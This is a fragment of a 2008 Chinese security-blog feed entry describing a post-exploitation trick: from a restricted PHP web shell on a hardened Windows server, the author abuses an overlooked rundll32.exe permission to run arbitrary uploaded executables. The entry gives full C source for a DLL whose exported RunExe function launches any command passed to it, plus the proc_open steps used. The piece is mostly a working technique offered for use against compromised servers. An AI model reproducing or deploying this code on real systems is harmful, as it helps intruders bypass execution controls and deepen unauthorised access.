		 <uri>http://www.cnshark.net/</uri>
		 <email>support@cnshark.net</email>
	  </author>
	  <category term="" scheme="http://www.cnshark.net/default.asp?cateID=4" label="技术探讨" /> 
	  <updated>2008-11-18T10:01:22+08:00</updated>
	  <published>2008-11-18T10:01:22+08:00</published>
		  <summary type="html"><![CDATA[摘要：一个web shell，系统权限设置得很好，常用的exe都无权执行。可写目录传上去的exe文件，也没有执行权限。最终发现设置权限的时候漏掉了rundll32.exe，如是就写了这个个代码。<br/><br/>测试开始的时候，PHP似乎没权执行命令。本来打算用php本身的一些溢出问题，溢出一个低权限的shell来的。后来意外发现使用proc_open函 数可以执行一些内部命令，只是外部命令和目录都做了比较严格的权限设置而已。于是就测试可能可以利用的外部命令，最终测试到了rundll32.exe程 序，终于没有返回权限不足。写一个dll，给rundll32调用，就可以间接的执行自己上传的任意exe文件了。也许是windows权限的一点小问 题？毕竟使用rundll32间接执行的exe，身份还是php shell的guest权限，虽然调用者变了——真正原因有待进一步研究<br/><br/><br/>/*************************************************************************************************<br/>* 遇到一个服务器权限设置很畸形，系统exe基本都无法执行，自己上传的exe到可写目录，也不能执行。<br/>* 遗憾的是，他们漏掉了rundll32.exe这个文件的权限，如是……<br/>* code by wustyunshu###hotmail.com, 2008,11,13,23:20<br/>*************************************************************************************************/<br/><br/>#include &lt;stdio.h&gt;<br/>#include &lt;stdlib.h&gt;<br/>#include &lt;windows.h&gt;<br/><br/>// dll入口<br/>BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )<br/>{<br/>return true;<br/>}<br/><br/>void RunExe( HWND hwnd, HINSTANCE hinst, LPSTR szCmdLine, int nCmdShow)<br/>{<br/>if( szCmdLine == NULL )<br/>{<br/>return;<br/>}<br/><br/>DWORD dwNum = MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, NULL, 0);<br/>wchar_t *wszCmdLine = new wchar_t[dwNum];<br/>if(!wszCmdLine)<br/>{<br/>return;<br/>}<br/>MultiByteToWideChar(CP_ACP, 0, szCmdLine, -1, wszCmdLine, dwNum);<br/><br/>int argc;<br/>LPWSTR *argv = CommandLineToArgvW( wszCmdLine, &amp;argc );<br/><br/>wchar_t Cmd[256] = { 0 };<br/>wchar_t Args[1024] = { 0 };<br/><br/>//strncpy( Cmd, argv[0], sizeof(Cmd)-1 );<br/>wcsncpy( Cmd, argv[0], sizeof(Cmd)-1 );<br/>if( argc &gt; 1 )<br/>{<br/>for( int index = 1; index &lt; argc; index ++ )<br/>{<br/>wcscat( wcscat( Args, L&#34; &#34; ), argv[index] );<br/>}<br/>}<br/><br/>STARTUPINFO si;<br/>memset( (void *)&amp;si, 0, sizeof(STARTUPINFOA) );<br/>GetStartupInfoW( &amp;si );<br/><br/>//新进程输入输出重定向<br/>si.cb = sizeof( si );<br/>si.dwFlags = STARTF_USESHOWWINDOW;<br/>//si.wShowWindow = SW_HIDE;<br/><br/>PROCESS_INFORMATION processInfo;<br/>memset( (void *)&amp;processInfo, 0, sizeof(PROCESS_INFORMATION) );<br/><br/>//建立进程<br/>Cr&#101;ateProcessW( Cmd, Args, NULL, NULL, 1, 0, NULL, NULL, &amp;si, &amp;processInfo );<br/><br/>Sleep( 60 * 1000 );<br/>TerminateProcess( processInfo.hProcess, 0 );<br/>}<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cnshark.net/article/2513.htm" /> 
	  <id>http://www.cnshark.net/default.asp?id=2513</id>
  </entry>	
		
</feed>
